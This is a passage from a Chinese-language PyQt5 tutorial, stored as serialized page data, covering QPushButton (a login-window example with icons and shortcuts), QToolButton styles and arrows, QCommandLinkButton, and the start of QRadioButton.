self.pushButton.setIcon(QIcon(QPixmap(\"login.ico\")))  # 为“登录”按钮设置图标  \n",{"type":18,"tag":297,"props":53138,"children":53139},{"class":299,"line":4590},[53140],{"type":18,"tag":297,"props":53141,"children":53142},{},[53143],{"type":24,"value":53144},"        self.label = QtWidgets.QLabel(self.centralwidget)  \n",{"type":18,"tag":297,"props":53146,"children":53147},{"class":299,"line":4599},[53148],{"type":18,"tag":297,"props":53149,"children":53150},{},[53151],{"type":24,"value":53152},"        self.label.setGeometry(QtCore.QRect(29, 22, 54, 12))  \n",{"type":18,"tag":297,"props":53154,"children":53155},{"class":299,"line":4607},[53156],{"type":18,"tag":297,"props":53157,"children":53158},{},[53159],{"type":24,"value":47108},{"type":18,"tag":297,"props":53161,"children":53162},{"class":299,"line":4616},[53163],{"type":18,"tag":297,"props":53164,"children":53165},{},[53166],{"type":24,"value":53167},"        self.label_2 = QtWidgets.QLabel(self.centralwidget)  \n",{"type":18,"tag":297,"props":53169,"children":53170},{"class":299,"line":4624},[53171],{"type":18,"tag":297,"props":53172,"children":53173},{},[53174],{"type":24,"value":53175},"        self.label_2.setGeometry(QtCore.QRect(29, 52, 54, 12))  \n",{"type":18,"tag":297,"props":53177,"children":53178},{"class":299,"line":4633},[53179],{"type":18,"tag":297,"props":53180,"children":53181},{},[53182],{"type":24,"value":53183},"        self.label_2.setObjectName(\"label_2\")  \n",{"type":18,"tag":297,"props":53185,"children":53186},{"class":299,"line":4641},[53187],{"type":18,"tag":297,"props":53188,"children":53189},{},[53190],{"type":24,"value":53191},"        self.lineEdit = QtWidgets.QLineEdit(self.centralwidget)  \n",{"type":18,"tag":297,"props":53193,"children":53194},{"class":299,"line":4650},[53195],{"type":18,"tag":297,"props":53196,"children":53197},{},[53198],{"type":24,"value":53199},"        self.lineEdit.setGeometry(QtCore.QRect(79, 18, 113, 20))  \n",{"type":18,"tag":297,"props":53201,"children":53202},{"class":299,"line":4658},[53203],{"type":18,"tag":297,"props":53204,"children":53205},{},[53206],{"type":24,"value":53207},"        self.lineEdit.setObjectName(\"lineEdit\")  \n",{"type":18,"tag":297,"props":53209,"children":53210},{"class":299,"line":4681},[53211],{"type":18,"tag":297,"props":53212,"children":53213},{},[53214],{"type":24,"value":53215},"        self.lineEdit_2 = QtWidgets.QLineEdit(self.centralwidget)  \n",{"type":18,"tag":297,"props":53217,"children":53218},{"class":299,"line":4703},[53219],{"type":18,"tag":297,"props":53220,"children":53221},{},[53222],{"type":24,"value":53223},"        self.lineEdit_2.setGeometry(QtCore.QRect(78, 50, 113, 20))  \n",{"type":18,"tag":297,"props":53225,"children":53226},{"class":299,"line":4711},[53227],{"type":18,"tag":297,"props":53228,"children":53229},{},[53230],{"type":24,"value":53231},"        self.lineEdit_2.setObjectName(\"lineEdit_2\")  \n",{"type":18,"tag":297,"props":53233,"children":53234},{"class":299,"line":4720},[53235],{"type":18,"tag":297,"props":53236,"children":53237},{},[53238],{"type":24,"value":53239},"        self.lineEdit_2.setEchoMode(QtWidgets.QLineEdit.Password)  # 设置文本框为密码  \n",{"type":18,"tag":297,"props":53241,"children":53242},{"class":299,"line":4728},[53243],{"type":18,"tag":297,"props":53244,"children":53245},{},[53246],{"type":24,"value":53247},"        # 设置只能输入8位数字  \n",{"type":18,"tag":297,"props":53249,"children":53250},{"class":299,"line":13515},[53251],{"type":18,"tag":297,"props":53252,"children":53253},{},[53254],{"type":24,"value":53255},"        self.lineEdit_2.setValidator(QtGui.QIntValidator(10000000, 99999999))  \n",{"type":18,"tag":297,"props":53257,"children":53258},{"class":299,"line":13553},[53259],{"type":18,"tag":297,"props":53260,"children":53261},{},[53262],{"type":24,"value":53263},"        self.pushButton_2 = QtWidgets.QPushButton(self.centralwidget)  \n",{"type":18,"tag":297,"props":53265,"children":53266},{"class":299,"line":13591},[53267],{"type":18,"tag":297,"props":53268,"children":53269},{},[53270],{"type":24,"value":53271},"        self.pushButton_2.setGeometry(QtCore.QRect(120, 83, 61, 23))  \n",{"type":18,"tag":297,"props":53273,"children":53274},{"class":299,"line":13624},[53275],{"type":18,"tag":297,"props":53276,"children":53277},{},[53278],{"type":24,"value":53279},"        self.pushButton_2.setObjectName(\"pushButton_2\")  \n",{"type":18,"tag":297,"props":53281,"children":53282},{"class":299,"line":13632},[53283],{"type":18,"tag":297,"props":53284,"children":53285},{},[53286],{"type":24,"value":53287},"        self.pushButton_2.setIcon(QIcon(QPixmap(\"exit.ico\")))  # 为“退出”按钮设置图标  \n",{"type":18,"tag":297,"props":53289,"children":53290},{"class":299,"line":13641},[53291],{"type":18,"tag":297,"props":53292,"children":53293},{},[53294],{"type":24,"value":42337},{"type":18,"tag":297,"props":53296,"children":53297},{"class":299,"line":13724},[53298],{"type":18,"tag":297,"props":53299,"children":53300},{},[53301],{"type":24,"value":42345},{"type":18,"tag":297,"props":53303,"children":53304},{"class":299,"line":13732},[53305],{"type":18,"tag":297,"props":53306,"children":53307},{},[53308],{"type":24,"value":53309},"        # 为“登录”按钮的clicked信号绑定自定义槽函数  \n",{"type":18,"tag":297,"props":53311,"children":53312},{"class":299,"line":13786},[53313],{"type":18,"tag":297,"props":53314,"children":53315},{},[53316],{"type":24,"value":53317},"        self.pushButton.clicked.connect(self.login)  \n",{"type":18,"tag":297,"props":53319,"children":53320},{"class":299,"line":13794},[53321],{"type":18,"tag":297,"props":53322,"children":53323},{},[53324],{"type":24,"value":53325},"        # 为“退出”按钮的clicked信号绑定MainWindow窗口自带的close()槽函数  \n",{"type":18,"tag":297,"props":53327,"children":53328},{"class":299,"line":13803},[53329],{"type":18,"tag":297,"props":53330,"children":53331},{},[53332],{"type":24,"value":53333},"        self.pushButton_2.clicked.connect(MainWindow.close)  \n",{"type":18,"tag":297,"props":53335,"children":53336},{"class":299,"line":13845},[53337],{"type":18,"tag":297,"props":53338,"children":53339},{},[53340],{"type":24,"value":42353},{"type":18,"tag":297,"props":53342,"children":53343},{"class":299,"line":13887},[53344],{"type":18,"tag":297,"props":53345,"children":53346},{},[53347],{"type":24,"value":53348},"    def login(self):  \n",{"type":18,"tag":297,"props":53350,"children":53351},{"class":299,"line":13927},[53352],{"type":18,"tag":297,"props":53353,"children":53354},{},[53355],{"type":24,"value":52723},{"type":18,"tag":297,"props":53357,"children":53358},{"class":299,"line":13943},[53359],{"type":18,"tag":297,"props":53360,"children":53361},{},[53362],{"type":24,"value":53363},"        # 使用information()方法弹出信息提示框  \n",{"type":18,"tag":297,"props":53365,"children":53366},{"class":299,"line":15315},[53367],{"type":18,"tag":297,"props":53368,"children":53369},{},[53370],{"type":24,"value":53371},"        QMessageBox.information(MainWindow, \"登录信息\",  \n",{"type":18,"tag":297,"props":53373,"children":53374},{"class":299,"line":15331},[53375],{"type":18,"tag":297,"props":53376,"children":53377},{},[53378],{"type":24,"value":53379},"                                \"用户名：\" + self.lineEdit.text() + \"  密码：\" + self.lineEdit_2.text(), QMessageBox.Ok)  \n",{"type":18,"tag":297,"props":53381,"children":53382},{"class":299,"line":15347},[53383],{"type":18,"tag":297,"props":53384,"children":53385},{},[53386],{"type":24,"value":42384},{"type":18,"tag":297,"props":53388,"children":53389},{"class":299,"line":42458},[53390],{"type":18,"tag":297,"props":53391,"children":53392},{},[53393],{"type":24,"value":42392},{"type":18,"tag":297,"props":53395,"children":53396},{"class":299,"line":42467},[53397],{"type":18,"tag":297,"props":53398,"children":53399},{},[53400],{"type":24,"value":53401},"        MainWindow.setWindowTitle(_translate(\"MainWindow\", \"系统登录\"))  \n",{"type":18,"tag":297,"props":53403,"children":53404},{"class":299,"line":42476},[53405],{"type":18,"tag":297,"props":53406,"children":53407},{},[53408],{"type":24,"value":53409},"        self.pushButton.setText(_translate(\"MainWindow\", \"登录\"))  \n",{"type":18,"tag":297,"props":53411,"children":53412},{"class":299,"line":42954},[53413],{"type":18,"tag":297,"props":53414,"children":53415},{},[53416],{"type":24,"value":53417},"        self.label.setText(_translate(\"MainWindow\", \"用户名：\"))  \n",{"type":18,"tag":297,"props":53419,"children":53420},{"class":299,"line":42963},[53421],{"type":18,"tag":297,"props":53422,"children":53423},{},[53424],{"type":24,"value":53425},"        self.label_2.setText(_translate(\"MainWindow\", \"密  码：\"))  \n",{"type":18,"tag":297,"props":53427,"children":53428},{"class":299,"line":42972},[53429],{"type":18,"tag":297,"props":53430,"children":53431},{},[53432],{"type":24,"value":53433},"        self.pushButton_2.setText(_translate(\"MainWindow\", \"退出\"))  \n",{"type":18,"tag":297,"props":53435,"children":53436},{"class":299,"line":45120},[53437],{"type":18,"tag":297,"props":53438,"children":53439},{},[53440],{"type":24,"value":42415},{"type":18,"tag":297,"props":53442,"children":53443},{"class":299,"line":45129},[53444],{"type":18,"tag":297,"props":53445,"children":53446},{},[53447],{"type":24,"value":42423},{"type":18,"tag":297,"props":53449,"children":53450},{"class":299,"line":45138},[53451],{"type":18,"tag":297,"props":53452,"children":53453},{},[53454],{"type":24,"value":42431},{"type":18,"tag":297,"props":53456,"children":53457},{"class":299,"line":45147},[53458],{"type":18,"tag":297,"props":53459,"children":53460},{},[53461],{"type":24,"value":43682},{"type":18,"tag":297,"props":53463,"children":53464},{"class":299,"line":45155},[53465],{"type":18,"tag":297,"props":53466,"children":53467},{},[53468],{"type":24,"value":43690},{"type":18,"tag":297,"props":53470,"children":53471},{"class":299,"line":45164},[53472],{"type":18,"tag":297,"props":53473,"children":53474},{},[53475],{"type":24,"value":51067},{"type":18,"tag":297,"props":53477,"children":53478},{"class":299,"line":45173},[53479],{"type":18,"tag":297,"props":53480,"children":53481},{},[53482],{"type":24,"value":43706},{"type":18,"tag":297,"props":53484,"children":53485},{"class":299,"line":45182},[53486],{"type":18,"tag":297,"props":53487,"children":53488},{},[53489],{"type":24,"value":51093},{"type":18,"tag":297,"props":53491,"children":53492},{"class":299,"line":45191},[53493],{"type":18,"tag":297,"props":53494,"children":53495},{},[53496],{"type":24,"value":51102},{"type":18,"tag":96,"props":53498,"children":53499},{},[53500],{"type":18,"tag":34,"props":53501,"children":53502},{},[53503,53507,53509,53514,53516,53521,53523,53529,53530,53536,53538,53543],{"type":18,"tag":105,"props":53504,"children":53505},{},[53506],{"type":24,"value":33435},{"type":24,"value":53508}," 说明\n上面代码中为",{"type":18,"tag":74,"props":53510,"children":53512},{"className":53511},[],[53513],{"type":24,"value":53011},{"type":24,"value":53515},"按钮和",{"type":18,"tag":74,"props":53517,"children":53519},{"className":53518},[],[53520],{"type":24,"value":53018},{"type":24,"value":53522},"按钮设置图标时，用到了两个图标文件",{"type":18,"tag":74,"props":53524,"children":53526},{"className":53525},[],[53527],{"type":24,"value":53528},"login.ico",{"type":24,"value":10315},{"type":18,"tag":74,"props":53531,"children":53533},{"className":53532},[],[53534],{"type":24,"value":53535},"exit.ico",{"type":24,"value":53537},"，这里需要提前准备好这两个图标文件，并将它们复制到与",{"type":18,"tag":74,"props":53539,"children":53541},{"className":53540},[],[53542],{"type":24,"value":42560},{"type":24,"value":53544},"文件的同级目录下。",{"type":18,"tag":34,"props":53546,"children":53547},{},[53548,53550,53555,53557,53562],{"type":24,"value":53549},"运行程序，输入用户名和密码，单击",{"type":18,"tag":74,"props":53551,"children":53553},{"className":53552},[],[53554],{"type":24,"value":53011},{"type":24,"value":53556},"按钮，可以在弹出的提示框中显示输入的用户名和密码，如图所示，而单击",{"type":18,"tag":74,"props":53558,"children":53560},{"className":53559},[],[53561],{"type":24,"value":53018},{"type":24,"value":53563},"按钮，可以直接关闭当前窗口。",{"type":18,"tag":34,"props":53565,"children":53566},{},[53567],{"type":18,"tag":54,"props":53568,"children":53571},{"alt":53569,"src":53570},"Pasted image 20250829091956","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250829091956.png",[],{"type":18,"tag":96,"props":53573,"children":53574},{},[53575,53620],{"type":18,"tag":34,"props":53576,"children":53577},{},[53578,53582,53584,53589,53591,53597,53599,53604,53606,53611,53613,53618],{"type":18,"tag":105,"props":53579,"children":53580},{},[53581],{"type":24,"value":44648},{"type":24,"value":53583}," 多学两招\n如果想为",{"type":18,"tag":74,"props":53585,"children":53587},{"className":53586},[],[53588],{"type":24,"value":44683},{"type":24,"value":53590},"按钮设置快捷键，可以在创建对象时指定其文本，并在文本中添加",{"type":18,"tag":74,"props":53592,"children":53594},{"className":53593},[],[53595],{"type":24,"value":53596},"&",{"type":24,"value":53598},"符号，这样，",{"type":18,"tag":74,"props":53600,"children":53602},{"className":53601},[],[53603],{"type":24,"value":53596},{"type":24,"value":53605},"符号后面的第一个字母默认就会作为快捷键，例如在上面的实例中，为",{"type":18,"tag":74,"props":53607,"children":53609},{"className":53608},[],[53610],{"type":24,"value":53011},{"type":24,"value":53612},"按钮设置快捷键，则可以将创建",{"type":18,"tag":74,"props":53614,"children":53616},{"className":53615},[],[53617],{"type":24,"value":53011},{"type":24,"value":53619},"按钮的代码修改如下：",{"type":18,"tag":287,"props":53621,"children":53622},{"code":8,"language":28712,"meta":8,"className":28710,"style":8},[53623],{"type":18,"tag":74,"props":53624,"children":53625},{"__ignoreMap":8},[53626],{"type":18,"tag":297,"props":53627,"children":53628},{"class":299,"line":300},[53629],{"type":18,"tag":297,"props":53630,"children":53631},{},[53632],{"type":24,"value":8},{"type":18,"tag":34,"props":53634,"children":53635},{},[53636],{"type":24,"value":53637},"self.pushButton = QtWidgets.QPushButton(\"登录（&D）\",self.centralwidget)",{"type":18,"tag":96,"props":53639,"children":53640},{},[53641],{"type":18,"tag":287,"props":53642,"children":53644},{"code":53643},"修改完成之后，按键盘上的`Alt+D`组合键，即可执行与单击`登录`按钮相同的操作。\n",[53645],{"type":18,"tag":74,"props":53646,"children":53647},{"__ignoreMap":8},[53648],{"type":24,"value":53643},{"type":18,"tag":19,"props":53650,"children":53652},{"id":53651},"_2toolbutton工具按钮",[53653,53654,53659],{"type":24,"value":42997},{"type":18,"tag":74,"props":53655,"children":53657},{"className":53656},[],[53658],{"type":24,"value":50092},{"type":24,"value":53660},"：工具按钮",{"type":18,"tag":121,"props":53662,"children":53663},{},[],{"type":18,"tag":34,"props":53665,"children":53666},{},[53667,53672,53674,53680,53682,53688],{"type":18,"tag":74,"props":53668,"children":53670},{"className":53669},[],[53671],{"type":24,"value":50092},{"type":24,"value":53673},"控件是一个工具按钮，它本质上是一个按钮，只是在按钮中提供了默认文本",{"type":18,"tag":74,"props":53675,"children":53677},{"className":53676},[],[53678],{"type":24,"value":53679},"…",{"type":24,"value":53681},"和可选的箭头类型，它对应PyQt5中的",{"type":18,"tag":74,"props":53683,"children":53685},{"className":53684},[],[53686],{"type":24,"value":53687},"QToolButton",{"type":24,"value":51646},{"type":18,"tag":34,"props":53690,"children":53691},{},[53692,53697,53699,53704,53706,53711,53713,53718,53719,53725],{"type":18,"tag":74,"props":53693,"children":53695},{"className":53694},[],[53696],{"type":24,"value":50092},{"type":24,"value":53698},"控件的使用方法与",{"type":18,"tag":74,"props":53700,"children":53702},{"className":53701},[],[53703],{"type":24,"value":44683},{"type":24,"value":53705},"类似，不同的是，",{"type":18,"tag":74,"props":53707,"children":53709},{"className":53708},[],[53710],{"type":24,"value":50092},{"type":24,"value":53712},"控件可以设置工具按钮的显示样式和箭头类型。其中，工具按钮的显示样式通过",{"type":18,"tag":74,"props":53714,"children":53716},{"className":53715},[],[53717],{"type":24,"value":53687},{"type":24,"value":43752},{"type":18,"tag":74,"props":53720,"children":53722},{"className":53721},[],[53723],{"type":24,"value":53724},"setToolButtonStyle()方法",{"type":24,"value":53726},"进行设置，主要支持以下5种样式：",{"type":18,"tag":210,"props":53728,"children":53729},{},[53730,53741,53752,53763,53774],{"type":18,"tag":158,"props":53731,"children":53732},{},[53733,53739],{"type":18,"tag":74,"props":53734,"children":53736},{"className":53735},[],[53737],{"type":24,"value":53738},"Qt.ToolButtonIconOnly",{"type":24,"value":53740},"：只显示图标。",{"type":18,"tag":158,"props":53742,"children":53743},{},[53744,53750],{"type":18,"tag":74,"props":53745,"children":53747},{"className":53746},[],[53748],{"type":24,"value":53749},"Qt.ToolButtonTextOnly",{"type":24,"value":53751},"：只显示文本。",{"type":18,"tag":158,"props":53753,"children":53754},{},[53755,53761],{"type":18,"tag":74,"props":53756,"children":53758},{"className":53757},[],[53759],{"type":24,"value":53760},"Qt.ToolButtonTextBesideIcon",{"type":24,"value":53762},"：文本显示在图标的旁边。",{"type":18,"tag":158,"props":53764,"children":53765},{},[53766,53772],{"type":18,"tag":74,"props":53767,"children":53769},{"className":53768},[],[53770],{"type":24,"value":53771},"Qt.ToolButtonTextUnderIcon",{"type":24,"value":53773},"：文本显示在图标的下面。",{"type":18,"tag":158,"props":53775,"children":53776},{},[53777,53783],{"type":18,"tag":74,"props":53778,"children":53780},{"className":53779},[],[53781],{"type":24,"value":53782},"Qt.ToolButtonFollowStyle",{"type":24,"value":53784},"：跟随系统样式。",{"type":18,"tag":34,"props":53786,"children":53787},{},[53788,53790,53795,53796,53802],{"type":24,"value":53789},"工具按钮的箭头类型通过",{"type":18,"tag":74,"props":53791,"children":53793},{"className":53792},[],[53794],{"type":24,"value":53687},{"type":24,"value":43752},{"type":18,"tag":74,"props":53797,"children":53799},{"className":53798},[],[53800],{"type":24,"value":53801},"setArrowType()方法",{"type":24,"value":53803},"进行设置，主要支持以下5种箭头类型：",{"type":18,"tag":210,"props":53805,"children":53806},{},[53807,53818,53829,53840,53851],{"type":18,"tag":158,"props":53808,"children":53809},{},[53810,53816],{"type":18,"tag":74,"props":53811,"children":53813},{"className":53812},[],[53814],{"type":24,"value":53815},"Qt.NoArrow",{"type":24,"value":53817},"：没有箭头。",{"type":18,"tag":158,"props":53819,"children":53820},{},[53821,53827],{"type":18,"tag":74,"props":53822,"children":53824},{"className":53823},[],[53825],{"type":24,"value":53826},"Qt.UpArrow",{"type":24,"value":53828},"：向上的箭头。",{"type":18,"tag":158,"props":53830,"children":53831},{},[53832,53838],{"type":18,"tag":74,"props":53833,"children":53835},{"className":53834},[],[53836],{"type":24,"value":53837},"Qt.DownArrow",{"type":24,"value":53839},"：向下的箭头。",{"type":18,"tag":158,"props":53841,"children":53842},{},[53843,53849],{"type":18,"tag":74,"props":53844,"children":53846},{"className":53845},[],[53847],{"type":24,"value":53848},"Qt.LeftArrow",{"type":24,"value":53850},"：向左的箭头。",{"type":18,"tag":158,"props":53852,"children":53853},{},[53854,53860],{"type":18,"tag":74,"props":53855,"children":53857},{"className":53856},[],[53858],{"type":24,"value":53859},"Qt.RightArrow",{"type":24,"value":53861},"：向右的箭头。",{"type":18,"tag":34,"props":53863,"children":53864},{},[53865],{"type":18,"tag":105,"props":53866,"children":53867},{},[53868],{"type":24,"value":53869},"实例 设计一个向上箭头的工具按钮",{"type":18,"tag":34,"props":53871,"children":53872},{},[53873,53875,53880],{"type":24,"value":53874},"本实例用来对名称为",{"type":18,"tag":74,"props":53876,"children":53878},{"className":53877},[],[53879],{"type":24,"value":50092},{"type":24,"value":53881},"的工具按钮进行设置，设置其箭头类型为向上箭头，并且文本显示在箭头的下面，代码如下：",{"type":18,"tag":287,"props":53883,"children":53885},{"code":53884,"language":28712,"meta":8,"className":28710,"style":8},"self.toolButton.setToolButtonStyle(QtCore.Qt.ToolButtonTextUnderIcon) # 设置显示样式\nself.toolButton.setArrowType(QtCore.Qt.UpArrow) # 设置箭头类型\n",[53886],{"type":18,"tag":74,"props":53887,"children":53888},{"__ignoreMap":8},[53889,53897],{"type":18,"tag":297,"props":53890,"children":53891},{"class":299,"line":300},[53892],{"type":18,"tag":297,"props":53893,"children":53894},{},[53895],{"type":24,"value":53896},"self.toolButton.setToolButtonStyle(QtCore.Qt.ToolButtonTextUnderIcon) # 设置显示样式\n",{"type":18,"tag":297,"props":53898,"children":53899},{"class":299,"line":657},[53900],{"type":18,"tag":297,"props":53901,"children":53902},{},[53903],{"type":24,"value":53904},"self.toolButton.setArrowType(QtCore.Qt.UpArrow) # 设置箭头类型\n",{"type":18,"tag":34,"props":53906,"children":53907},{},[53908],{"type":24,"value":53909},"运行效果如图所示。",{"type":18,"tag":34,"props":53911,"children":53912},{},[53913],{"type":18,"tag":54,"props":53914,"children":53917},{"alt":53915,"src":53916},"Pasted image 20250829094305","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250829094305.png",[],{"type":18,"tag":96,"props":53919,"children":53920},{},[53921,53967],{"type":18,"tag":34,"props":53922,"children":53923},{},[53924,53928,53930,53935,53937,53943,53945,53951,53953,53958,53960,53966],{"type":18,"tag":105,"props":53925,"children":53926},{},[53927],{"type":24,"value":44648},{"type":24,"value":53929}," 多学两招\n",{"type":18,"tag":74,"props":53931,"children":53933},{"className":53932},[],[53934],{"type":24,"value":50092},{"type":24,"value":53936},"控件中的箭头图标默认大小为",{"type":18,"tag":74,"props":53938,"children":53940},{"className":53939},[],[53941],{"type":24,"value":53942},"16×16",{"type":24,"value":53944},"，如果想改变箭头图标的大小，可以使用",{"type":18,"tag":74,"props":53946,"children":53948},{"className":53947},[],[53949],{"type":24,"value":53950},"setIconSize()方法",{"type":24,"value":53952},"，例如，下面代码可以将",{"type":18,"tag":74,"props":53954,"children":53956},{"className":53955},[],[53957],{"type":24,"value":50092},{"type":24,"value":53959},"按钮的箭头图标大小修改为",{"type":18,"tag":74,"props":53961,"children":53963},{"className":53962},[],[53964],{"type":24,"value":53965},"32×32",{"type":24,"value":222},{"type":18,"tag":287,"props":53968,"children":53969},{"code":8,"language":28712,"meta":8,"className":28710,"style":8},[53970],{"type":18,"tag":74,"props":53971,"children":53972},{"__ignoreMap":8},[53973],{"type":18,"tag":297,"props":53974,"children":53975},{"class":299,"line":300},[53976],{"type":18,"tag":297,"props":53977,"children":53978},{},[53979],{"type":24,"value":8},{"type":18,"tag":34,"props":53981,"children":53982},{},[53983],{"type":24,"value":53984},"self.toolButton.setIconSize(QtCore.QSize(32, 32))  # 设置图标大小",{"type":18,"tag":96,"props":53986,"children":53987},{},[53988],{"type":18,"tag":287,"props":53989,"children":53990},{"code":8},[53991],{"type":18,"tag":74,"props":53992,"children":53993},{"__ignoreMap":8},[53994],{"type":24,"value":8},{"type":18,"tag":19,"props":53996,"children":53998},{"id":53997},"_3commandlinkbutton命令链接按钮",[53999,54000,54005],{"type":24,"value":52009},{"type":18,"tag":74,"props":54001,"children":54003},{"className":54002},[],[54004],{"type":24,"value":52809},{"type":24,"value":54006},"：命令链接按钮",{"type":18,"tag":121,"props":54008,"children":54009},{},[],{"type":18,"tag":34,"props":54011,"children":54012},{},[54013,54018,54020,54026,54028,54033],{"type":18,"tag":74,"props":54014,"children":54016},{"className":54015},[],[54017],{"type":24,"value":52809},{"type":24,"value":54019},"控件是一个命令链接按钮，它对应PyQt5中的",{"type":18,"tag":74,"props":54021,"children":54023},{"className":54022},[],[54024],{"type":24,"value":54025},"QCommandLinkButton",{"type":24,"value":54027},"类，该类与",{"type":18,"tag":74,"props":54029,"children":54031},{"className":54030},[],[54032],{"type":24,"value":44683},{"type":24,"value":54034},"按钮的用法类似，区别是，该按钮自定义一个向右的箭头图标。",{"type":18,"tag":34,"props":54036,"children":54037},{},[54038],{"type":18,"tag":105,"props":54039,"children":54040},{},[54041],{"type":24,"value":54042},"实例 使用命令链接按钮",{"type":18,"tag":34,"props":54044,"children":54045},{},[54046,54048,54054,54056,54061,54063,54069],{"type":24,"value":54047},"使用Qt Designer设计器创建一个",{"type":18,"tag":74,"props":54049,"children":54051},{"className":54050},[],[54052],{"type":24,"value":54053},"MainWindow",{"type":24,"value":54055},"窗口，其中添加一个",{"type":18,"tag":74,"props":54057,"children":54059},{"className":54058},[],[54060],{"type":24,"value":52809},{"type":24,"value":54062},"控件，并设置其文本为",{"type":18,"tag":74,"props":54064,"children":54066},{"className":54065},[],[54067],{"type":24,"value":54068},"https:\u002F\u002Fwww.github.com\u002FCouioly",{"type":24,"value":54070},"，运行程序，默认效果如图所示，当将鼠标移动到按钮上时，显示为超链接效果，如图所示。",{"type":18,"tag":210,"props":54072,"children":54073},{},[54074],{"type":18,"tag":158,"props":54075,"children":54076},{},[54077,54082],{"type":18,"tag":74,"props":54078,"children":54080},{"className":54079},[],[54081],{"type":24,"value":52809},{"type":24,"value":54083},"控件的默认效果",{"type":18,"tag":34,"props":54085,"children":54086},{},[54087],{"type":18,"tag":54,"props":54088,"children":54091},{"alt":54089,"src":54090},"Pasted image 20250829095507","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250829095507.png",[],{"type":18,"tag":210,"props":54093,"children":54094},{},[54095],{"type":18,"tag":158,"props":54096,"children":54097},{},[54098,54100,54105],{"type":24,"value":54099},"鼠标移动到",{"type":18,"tag":74,"props":54101,"children":54103},{"className":54102},[],[54104],{"type":24,"value":52809},{"type":24,"value":54106},"按钮上的效果",{"type":18,"tag":34,"props":54108,"children":54109},{},[54110],{"type":18,"tag":54,"props":54111,"children":54114},{"alt":54112,"src":54113},"Pasted image 20250829095441","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250829095441.png",[],{"type":18,"tag":19,"props":54116,"children":54118},{"id":54117},"_4radiobutton单选按钮",[54119,54121,54127],{"type":24,"value":54120},"4  ",{"type":18,"tag":74,"props":54122,"children":54124},{"className":54123},[],[54125],{"type":24,"value":54126},"RadioButton",{"type":24,"value":54128},"：单选按钮",{"type":18,"tag":121,"props":54130,"children":54131},{},[],{"type":18,"tag":34,"props":54133,"children":54134},{},[54135,54140],{"type":18,"tag":74,"props":54136,"children":54138},{"className":54137},[],[54139],{"type":24,"value":54126},{"type":24,"value":54141},"是单选按钮控件，它为用户提供由两个或多个互斥选项组成的选项集，当用户选中某单选按钮时，同一组中的其他单选按钮不能同时选定。",{"type":18,"tag":34,"props":54143,"children":54144},{},[54145,54150,54151,54157],{"type":18,"tag":74,"props":54146,"children":54148},{"className":54147},[],[54149],{"type":24,"value":54126},{"type":24,"value":41483},{"type":18,"tag":74,"props":54152,"children":54154},{"className":54153},[],[54155],{"type":24,"value":54156},"QRadioButton",{"type":24,"value":48168},{"type":18,"tag":431,"props":54159,"children":54160},{},[54161,54181],{"type":18,"tag":435,"props":54162,"children":54163},{},[54164],{"type":18,"tag":439,"props":54165,"children":54166},{},[54167,54174],{"type":18,"tag":443,"props":54168,"children":54169},{},[54170],{"type":18,"tag":105,"props":54171,"children":54172},{},[54173],{"type":24,"value":41518},{"type":18,"tag":443,"props":54175,"children":54176},{},[54177],{"type":18,"tag":105,"props":54178,"children":54179},{},[54180],{"type":24,"value":41526},{"type":18,"tag":459,"props":54182,"children":54183},{},[54184,54196,54208,54221],{"type":18,"tag":439,"props":54185,"children":54186},{},[54187,54191],{"type":18,"tag":466,"props":54188,"children":54189},{},[54190],{"type":24,"value":43226},{"type":18,"tag":466,"props":54192,"children":54193},{},[54194],{"type":24,"value":54195},"设置单选按钮显示的文本",{"type":18,"tag":439,"props":54197,"children":54198},{},[54199,54203],{"type":18,"tag":466,"props":54200,"children":54201},{},[54202],{"type":24,"value":43281},{"type":18,"tag":466,"props":54204,"children":54205},{},[54206],{"type":24,"value":54207},"获取单选按钮显示的文本",{"type":18,"tag":439,"props":54209,"children":54210},{},[54211,54216],{"type":18,"tag":466,"props":54212,"children":54213},{},[54214],{"type":24,"value":54215},"setChecked()或者setCheckable()",{"type":18,"tag":466,"props":54217,"children":54218},{},[54219],{"type":24,"value":54220},"设置单选按钮是否为选中状态，True为选中状态；False为未选中状态",{"type":18,"tag":439,"props":54222,"children":54223},{},[54224,54229],{"type":18,"tag":466,"props":54225,"children":54226},{},[54227],{"type":24,"value":54228},"isChecked()",{"type":18,"tag":466,"props":54230,"children":54231},{},[54232],{"type":24,"value":54233},"返回单选按钮的状态，True为选中状态；False为未选中状态",{"type":18,"tag":34,"props":54235,"children":54236},{},[54237,54242,54243,54248,54249,54255,54257,54262,54264,54269,54271,54276],{"type":18,"tag":74,"props":54238,"children":54240},{"className":54239},[],[54241],{"type":24,"value":54126},{"type":24,"value":51351},{"type":18,"tag":74,"props":54244,"children":54246},{"className":54245},[],[54247],{"type":24,"value":52990},{"type":24,"value":10315},{"type":18,"tag":74,"props":54250,"children":54252},{"className":54251},[],[54253],{"type":24,"value":54254},"toggled",{"type":24,"value":54256},"，其中，",{"type":18,"tag":74,"props":54258,"children":54260},{"className":54259},[],[54261],{"type":24,"value":52990},{"type":24,"value":54263},"信号在每次单击单选按钮时都会发射；而",{"type":18,"tag":74,"props":54265,"children":54267},{"className":54266},[],[54268],{"type":24,"value":54254},{"type":24,"value":54270},"信号则在单选按钮的状态改变时才会发射。因此通常使用",{"type":18,"tag":74,"props":54272,"children":54274},{"className":54273},[],[54275],{"type":24,"value":54254},{"type":24,"value":54277},"信号监控单选按钮的选择状态。",{"type":18,"tag":34,"props":54279,"children":54280},{},[54281],{"type":18,"tag":105,"props":54282,"children":54283},{},[54284],{"type":24,"value":54285},"实例 